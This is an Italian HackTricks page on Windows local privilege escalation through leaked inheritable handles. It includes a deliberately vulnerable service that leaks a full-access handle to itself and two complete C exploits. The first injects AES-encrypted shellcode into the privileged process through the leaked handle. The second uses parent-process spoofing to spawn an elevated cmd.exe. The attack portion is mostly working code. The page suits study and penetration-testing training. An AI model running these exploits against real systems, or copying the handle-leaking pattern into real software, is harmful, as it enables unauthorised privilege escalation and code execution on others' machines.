# Sfruttamento Handle Trapelati
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! Altri modi per supportare HackTricks: * Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
## Introduzione Gli handle in un processo consentono di **accedere** a risorse diverse di **Windows**: ![RootedCON2022 - Sfruttare gli Handle Trapelati per LPE](<../../.gitbook/assets/image (246).png>) Ci sono stati diversi casi di **escalation dei privilegi** in cui un **processo privilegiato** con **handle aperti e ereditabili** ha **eseguito** un **processo non privilegiato** concedendogli **accesso a tutti quegli handle**. Ad esempio, immagina che **un processo in esecuzione come SYSTEM apra un nuovo processo** (`OpenProcess()`) con **accesso completo**. Lo stesso processo **crea anche un nuovo processo** (`CreateProcess()`) **con bassi privilegi ma ereditando tutti gli handle aperti del processo principale**.\ Quindi, se hai **accesso completo al processo a bassi privilegi**, puoi acquisire l'**handle aperto al processo privilegiato creato** con `OpenProcess()` e **iniettare un codice shell**. ## **Handle Interessanti** ### **Processo** Come hai letto nell'esempio iniziale se un **processo non privilegiato eredita un handle di processo** di un **processo privilegiato** con abbastanza autorizzazioni sarà in grado di eseguire **codice arbitrario su di esso**. In [**questo eccellente articolo**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) puoi vedere come sfruttare qualsiasi handle di processo che abbia una delle seguenti autorizzazioni: * PROCESS\_ALL\_ACCESS * PROCESS\_CREATE\_PROCESS * PROCESS\_CREATE\_THREAD * PROCESS\_DUP\_HANDLE * PROCESS\_VM\_WRITE ### Thread Similmente agli handle dei processi, se un **processo non privilegiato eredita un handle di thread** di un **processo privilegiato** con abbastanza autorizzazioni sarà in grado di eseguire **codice arbitrario su di esso**. In [**questo eccellente articolo**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) puoi anche vedere come sfruttare qualsiasi handle di thread che abbia una delle seguenti autorizzazioni: * THREAD\_ALL\_ACCESS * THREAD\_DIRECT\_IMPERSONATION * THREAD\_SET\_CONTEXT ### Handle di File, Chiave e Sezione Se un **processo non privilegiato eredita** un **handle** con **autorizzazioni di scrittura** equivalenti su un **file o registro privilegiato**, sarà in grado di **sovrascrivere** il file/registro (e con un po' di **fortuna**, **escalare i privilegi**). Gli **handle di sezione** sono simili agli handle dei file, il nome comune di questo tipo di [oggetti è **"File Mapping"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). Sono utilizzati per lavorare con **file di grandi dimensioni senza mantenere l'intero** file in memoria. Ciò rende lo sfruttamento un po' "simile" allo sfruttamento di un Handle di File. ## Come vedere gli handle dei processi ### Process Hacker [**Process Hacker**](https://github.com/processhacker/processhacker) è uno strumento che puoi scaricare gratuitamente. Ha diverse opzioni incredibili per ispezionare i processi e una di esse è la **possibilità di vedere gli handle di ciascun processo**. Nota che per **vedere tutti gli handle di tutti i processi è necessario il SeDebugPrivilege** (quindi è necessario eseguire Process Hacker come amministratore). Per vedere gli handle di un processo, fai clic con il pulsante destro del mouse sul processo e seleziona Handle: ![](<../../.gitbook/assets/image (616).png>) Puoi quindi fare clic con il pulsante destro sull'handle e **verificare le autorizzazioni**: ![](<../../.gitbook/assets/image (946).png>) ### Handles di Sysinternals Il [**binario Handles** ](https://docs.microsoft.com/en-us/sysinternals/downloads/handle) di Sysinternals elencherà anche gli handle per processo nella console: ![](<../../.gitbook/assets/image (720).png>) ### LeakedHandlesFinder [**Questo strumento**](https://github.com/lab52io/LeakedHandlesFinder) ti consente di **monitorare** gli **handle trapelati** e persino **sfruttarli automaticamente** per escalare i privilegi. ### Metodologia Ora che sai come trovare gli handle dei processi, devi verificare se qualche **processo non privilegiato ha accesso agli handle privilegiati**. In tal caso, l'utente del processo potrebbe essere in grado di ottenere l'handle e abusarlo per escalare i privilegi. {% hint style="warning" %} È stato menzionato in precedenza che è necessario il SeDebugPrivilege per accedere a tutti gli handle. Ma un **utente può comunque accedere agli handle dei suoi processi**, quindi potrebbe essere utile se desideri fare privesc solo da quell'utente per **eseguire gli strumenti con le autorizzazioni regolari dell'utente**. ```bash handle64.exe /a | findstr /r /i "process thread file key pid:" ``` {% endhint %} ## Esempio Vulnerabile Ad esempio, il seguente codice appartiene a un **servizio Windows** che sarebbe vulnerabile. Il codice vulnerabile di questo binario di servizio si trova all'interno della funzione **`Exploit`**. Questa funzione inizia **creando un nuovo processo handle con accesso completo**. Successivamente, viene **creato un processo a bassi privilegi** (copiando il token a basso privilegio di _explorer.exe_) che esegue _C:\users\nomeutente\desktop\client.exe_. La **vulnerabilità risiede nel fatto che viene creato il processo a bassi privilegi con `bInheritHandles` impostato su `TRUE`**. Pertanto, questo processo a bassi privilegi è in grado di acquisire l'handle del processo ad alto privilegio creato per primo e iniettare ed eseguire un shellcode (vedi prossima sezione). ```c #include #include #include #pragma comment (lib, "advapi32") TCHAR* serviceName = TEXT("HandleLeakSrv"); SERVICE_STATUS serviceStatus; SERVICE_STATUS_HANDLE serviceStatusHandle = 0; HANDLE stopServiceEvent = 0; //Find PID of a proces from its name int FindTarget(const char *procname) { HANDLE hProcSnap; PROCESSENTRY32 pe32; int pid = 0; hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (INVALID_HANDLE_VALUE == hProcSnap) return 0; pe32.dwSize = sizeof(PROCESSENTRY32); if (!Process32First(hProcSnap, &pe32)) { CloseHandle(hProcSnap); return 0; } while (Process32Next(hProcSnap, &pe32)) { if (lstrcmpiA(procname, pe32.szExeFile) == 0) { pid = pe32.th32ProcessID; break; } } CloseHandle(hProcSnap); return pid; } int Exploit(void) { STARTUPINFOA si; PROCESS_INFORMATION pi; int pid = 0; HANDLE hUserToken; HANDLE hUserProc; HANDLE hProc; // open a handle to itself (privileged process) - this gets leaked! hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId()); // get PID of user low privileged process if ( pid = FindTarget("explorer.exe") ) hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); else return -1; // extract low privilege token from a user's process if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) { CloseHandle(hUserProc); return -1; } // spawn a child process with low privs and leaked handle ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); CloseHandle(hProc); CloseHandle(hUserProc); return 0; } void WINAPI ServiceControlHandler( DWORD controlCode ) { switch ( controlCode ) { case SERVICE_CONTROL_SHUTDOWN: case SERVICE_CONTROL_STOP: serviceStatus.dwCurrentState = SERVICE_STOP_PENDING; SetServiceStatus( serviceStatusHandle, &serviceStatus ); SetEvent( stopServiceEvent ); return; case SERVICE_CONTROL_PAUSE: break; case SERVICE_CONTROL_CONTINUE: break; case SERVICE_CONTROL_INTERROGATE: break; default: break; } SetServiceStatus( serviceStatusHandle, &serviceStatus ); } void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) { // initialise service status serviceStatus.dwServiceType = SERVICE_WIN32; serviceStatus.dwCurrentState = SERVICE_STOPPED; serviceStatus.dwControlsAccepted = 0; serviceStatus.dwWin32ExitCode = NO_ERROR; serviceStatus.dwServiceSpecificExitCode = NO_ERROR; serviceStatus.dwCheckPoint = 0; serviceStatus.dwWaitHint = 0; serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler ); if ( serviceStatusHandle ) { // service is starting serviceStatus.dwCurrentState = SERVICE_START_PENDING; SetServiceStatus( serviceStatusHandle, &serviceStatus ); // do initialisation here stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 ); // running serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN); serviceStatus.dwCurrentState = SERVICE_RUNNING; SetServiceStatus( serviceStatusHandle, &serviceStatus ); Exploit(); WaitForSingleObject( stopServiceEvent, -1 ); // service was stopped serviceStatus.dwCurrentState = SERVICE_STOP_PENDING; SetServiceStatus( serviceStatusHandle, &serviceStatus ); // do cleanup here CloseHandle( stopServiceEvent ); stopServiceEvent = 0; // service is now stopped serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN); serviceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus( serviceStatusHandle, &serviceStatus ); } } void InstallService() { SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE ); if ( serviceControlManager ) { TCHAR path[ _MAX_PATH + 1 ]; if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) { SC_HANDLE service = CreateService( serviceControlManager, serviceName, serviceName, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path, 0, 0, 0, 0, 0 ); if ( service ) CloseServiceHandle( service ); } CloseServiceHandle( serviceControlManager ); } } void UninstallService() { SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT ); if ( serviceControlManager ) { SC_HANDLE service = OpenService( serviceControlManager, serviceName, SERVICE_QUERY_STATUS | DELETE ); if ( service ) { SERVICE_STATUS serviceStatus; if ( QueryServiceStatus( service, &serviceStatus ) ) { if ( serviceStatus.dwCurrentState == SERVICE_STOPPED ) DeleteService( service ); } CloseServiceHandle( service ); } CloseServiceHandle( serviceControlManager ); } } int _tmain( int argc, TCHAR* argv[] ) { if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) { InstallService(); } else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) { UninstallService(); } else { SERVICE_TABLE_ENTRY serviceTable[] = { { serviceName, ServiceMain }, { 0, 0 } }; StartServiceCtrlDispatcher( serviceTable ); } return 0; } ``` ### Esempio di exploit 1 {% hint style="info" %} In uno scenario reale probabilmente **non sarai in grado di controllare il binario** che verrà eseguito dal codice vulnerabile (_C:\users\username\desktop\client.exe_ in questo caso). Probabilmente **comprometterai un processo e dovrai verificare se puoi accedere a un qualsiasi handle vulnerabile di un processo privilegiato**. {% endhint %} In questo esempio puoi trovare il codice di un possibile exploit per _C:\users\username\desktop\client.exe_.\ La parte più interessante di questo codice si trova in `GetVulnProcHandle`. Questa funzione **inizia a recuperare tutti gli handle**, quindi **verifica se qualcuno di essi appartiene allo stesso PID** e se l'handle appartiene a un **processo**. Se tutti questi requisiti sono soddisfatti (viene trovato un handle di processo aperto accessibile), si cerca di **iniettare ed eseguire un shellcode abusando dell'handle del processo**.\ L'iniezione del shellcode viene eseguita all'interno della funzione **`Inject`** e semplicemente **scrive il shellcode all'interno del processo privilegiato e crea un thread all'interno dello stesso processo** per eseguire il shellcode. ```c #include #include #include #include #include #include #include #include #include #include "client.h" #pragma comment (lib, "crypt32.lib") #pragma comment (lib, "advapi32") #pragma comment (lib, "kernel32") int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) { HCRYPTPROV hProv; HCRYPTHASH hHash; HCRYPTKEY hKey; if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){ return -1; } if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){ return -1; } if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){ return -1; } if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){ return -1; } if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){ return -1; } CryptReleaseContext(hProv, 0); CryptDestroyHash(hHash); CryptDestroyKey(hKey); return 0; } HANDLE GetVulnProcHandle(void) { ULONG handleInfoSize = 0x10000; NTSTATUS status; PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize); HANDLE hProc = NULL; POBJECT_TYPE_INFORMATION objectTypeInfo; PVOID objectNameInfo; UNICODE_STRING objectName; ULONG returnLength; HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); DWORD dwOwnPID = GetCurrentProcessId(); pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation"); pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject"); pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject"); pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString"); pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString"); printf("[+] Grabbing handles..."); while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize, NULL )) == STATUS_INFO_LENGTH_MISMATCH) phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2); if (status != STATUS_SUCCESS) { printf("[!] NtQuerySystemInformation failed!\n"); return 0; } printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles); // iterate handles until we find the privileged process handle for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i) { SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i]; // Check if this handle belongs to our own process if (handle.UniqueProcessId != dwOwnPID) continue; objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000); if (pNtQueryObject( (HANDLE) handle.HandleValue, ObjectTypeInformation, objectTypeInfo, 0x1000, NULL ) != STATUS_SUCCESS) continue; // skip some objects to avoid getting stuck // see: https://github.com/adamdriscoll/PoshInternals/issues/7 if (handle.GrantedAccess == 0x0012019f && handle.GrantedAccess != 0x00120189 && handle.GrantedAccess != 0x120089 && handle.GrantedAccess != 0x1A019F ) { free(objectTypeInfo); continue; } // get object name information objectNameInfo = malloc(0x1000); if (pNtQueryObject( (HANDLE) handle.HandleValue, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength ) != STATUS_SUCCESS) { // adjust the size of a returned object and query again objectNameInfo = realloc(objectNameInfo, returnLength); if (pNtQueryObject( (HANDLE) handle.HandleValue, ObjectNameInformation, objectNameInfo, returnLength, NULL ) != STATUS_SUCCESS) { free(objectTypeInfo); free(objectNameInfo); continue; } } // check if we've got a process object objectName = *(PUNICODE_STRING) objectNameInfo; UNICODE_STRING pProcess; pRtlInitUnicodeString(&pProcess, L"Process"); if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) { printf("[+] Found process handle (%x)\n", handle.HandleValue); hProc = (HANDLE) handle.HandleValue; free(objectTypeInfo); free(objectNameInfo); break; } else continue; free(objectTypeInfo); free(objectNameInfo); } return hProc; } int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) { LPVOID pRemoteCode = NULL; HANDLE hThread = NULL; BOOL bStatus = FALSE; pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx"); pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory"); pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread"); pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ); pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL); bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL); if (bStatus != FALSE) { WaitForSingleObject(hThread, -1); CloseHandle(hThread); return 0; } else return -1; } int main(int argc, char **argv) { int pid = 0; HANDLE hProc = NULL; // AES encrypted shellcode spawning notepad.exe (ExitThread) char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 }; ```c unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a }; unsigned int payload_len = sizeof(payload); printf("Il mio PID: %d\n", GetCurrentProcessId()); getchar(); // trovare un handle leaked a un processo hProc = GetVulnProcHandle(); if ( hProc != NULL) { // d#Decrypt payload AESDecrypt((char *) payload, payload_len, key, sizeof(key)); printf("[+] Invio regalo..."); // Iniettare ed eseguire il payload nel contesto privilegiato Inject(hProc, payload, payload_len); printf("fatto.\n"); } getchar(); return 0; } ``` ### Esempio di exploit 2 {% hint style="info" %} In uno scenario reale probabilmente **non sarai in grado di controllare il binario** che verrà eseguito dal codice vulnerabile (_C:\users\nomeutente\desktop\client.exe_ in questo caso). Probabilmente **comprometterai un processo e dovrai verificare se puoi accedere a un qualsiasi handle vulnerabile di un processo privilegiato**. {% endhint %} In questo esempio, **anziché abusare dell'handle aperto per iniettare** ed eseguire un shellcode, verrà **utilizzato il token del processo con l'handle aperto privilegiato per crearne uno nuovo**. Questo avviene dalle righe 138 alla 148. Nota come la **funzione `UpdateProcThreadAttribute`** viene utilizzata con l'**attributo `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` e l'handle del processo privilegiato aperto**. Ciò significa che il **thread del processo creato che esegue \_cmd.exe** avrà lo stesso privilegio del token del processo con l'handle aperto**. ```c #include #include #include #include #include #include #include #include #include #include "client.h" #pragma comment (lib, "crypt32.lib") #pragma comment (lib, "advapi32") #pragma comment (lib, "kernel32") HANDLE GetVulnProcHandle(void) { ULONG handleInfoSize = 0x10000; NTSTATUS status; PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize); HANDLE hProc = NULL; POBJECT_TYPE_INFORMATION objectTypeInfo; PVOID objectNameInfo; UNICODE_STRING objectName; ULONG returnLength; HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); DWORD dwOwnPID = GetCurrentProcessId(); pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation"); pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject"); pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject"); pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString"); pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString"); printf("[+] Grabbing handles..."); while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize, NULL )) == STATUS_INFO_LENGTH_MISMATCH) phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2); if (status != STATUS_SUCCESS) { printf("[!] NtQuerySystemInformation failed!\n"); return 0; } printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles); // iterate handles until we find the privileged process handle for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i) { SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i]; // Check if this handle belongs to our own process if (handle.UniqueProcessId != dwOwnPID) continue; objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000); if (pNtQueryObject( (HANDLE) handle.HandleValue, ObjectTypeInformation, objectTypeInfo, 0x1000, NULL ) != STATUS_SUCCESS) continue; // skip some objects to avoid getting stuck // see: https://github.com/adamdriscoll/PoshInternals/issues/7 if (handle.GrantedAccess == 0x0012019f && handle.GrantedAccess != 0x00120189 && handle.GrantedAccess != 0x120089 && handle.GrantedAccess != 0x1A019F ) { free(objectTypeInfo); continue; } // get object name information objectNameInfo = malloc(0x1000); if (pNtQueryObject( (HANDLE) handle.HandleValue, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength ) != STATUS_SUCCESS) { // adjust the size of a returned object and query again objectNameInfo = realloc(objectNameInfo, returnLength); if (pNtQueryObject( (HANDLE) handle.HandleValue, ObjectNameInformation, objectNameInfo, returnLength, NULL ) != STATUS_SUCCESS) { free(objectTypeInfo); free(objectNameInfo); continue; } } // check if we've got a process object objectName = *(PUNICODE_STRING) objectNameInfo; UNICODE_STRING pProcess; pRtlInitUnicodeString(&pProcess, L"Process"); if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) { printf("[+] Found process handle (%x)\n", handle.HandleValue); hProc = (HANDLE) handle.HandleValue; free(objectTypeInfo); free(objectNameInfo); break; } else continue; free(objectTypeInfo); free(objectNameInfo); } return hProc; } int main(int argc, char **argv) { HANDLE hProc = NULL; STARTUPINFOEXA si; PROCESS_INFORMATION pi; int pid = 0; SIZE_T size; BOOL ret; Sleep(20000); // find leaked process handle hProc = GetVulnProcHandle(); if ( hProc != NULL) { // Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS ZeroMemory(&si, sizeof(STARTUPINFOEXA)); InitializeProcThreadAttributeList(NULL, 1, 0, &size); si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size ); InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size); UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL); si.StartupInfo.cb = sizeof(STARTUPINFOEXA); // Spawn elevated cmd process ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi ); if (ret == FALSE) { printf("[!] Error spawning new process: [%d]\n", GetLastError()); return -1; } } Sleep(20000); return 0; } ``` ## Altri strumenti ed esempi * [**https://github.com/lab52io/LeakedHandlesFinder**](https://github.com/lab52io/LeakedHandlesFinder) Questo strumento ti permette di monitorare i handle trapelati per trovare quelli vulnerabili e persino sfruttarli automaticamente. Ha anche uno strumento per far trapelare un handle. * [**https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles**](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles) Un altro strumento per far trapelare un handle e sfruttarlo. ## Riferimenti * [http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) * [https://github.com/lab52io/LeakedHandlesFinder](https://github.com/lab52io/LeakedHandlesFinder) * [https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html](https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html)
Impara l'hacking su AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! Altri modi per supportare HackTricks: * Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.